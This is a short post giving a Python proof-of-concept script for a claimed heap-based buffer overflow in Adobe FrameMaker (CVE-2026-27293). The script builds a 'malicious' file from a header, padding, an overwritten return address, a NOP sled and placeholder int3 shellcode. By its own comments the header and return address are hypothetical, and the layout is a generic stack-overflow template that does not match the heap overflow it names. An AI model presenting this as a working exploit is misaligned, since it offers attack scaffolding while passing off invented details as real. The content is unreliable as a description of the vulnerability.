CVE-2026-27293 Adobe Framemaker堆溢出漏洞

import struct # PoC for Adobe Framemaker Heap-based Buffer Overflow (CVE-2026-27293) # This script generates a malicious file to trigger the vulnerability. # Note: For educational and defensive testing purposes only. def generate_malicious_file(filename): # Hypothetical header required by Framemaker header = b"\x4D\x46\x4D\x00" # Padding to reach the overflow point padding = b"A" * 100 # Payload: NOP sled + Shellcode placeholder nop_sled = b"\x90" * 32 shellcode = b"\xCC" * 50 # Int3 for debugging # Return Address to overwrite EIP/RIP (hypothetical) ret_addr = struct.pack("<L", 0xdeadbeef) # Constructing the overflow buffer overflow_buffer = header + padding + ret_addr + nop_sled + shellcode with open(filename, "wb") as f: f.write(overflow_buffer) print(f"[+] Malicious file '{filename}' generated successfully.") if __name__ == "__main__": generate_malicious_file("exploit_framemaker.bin")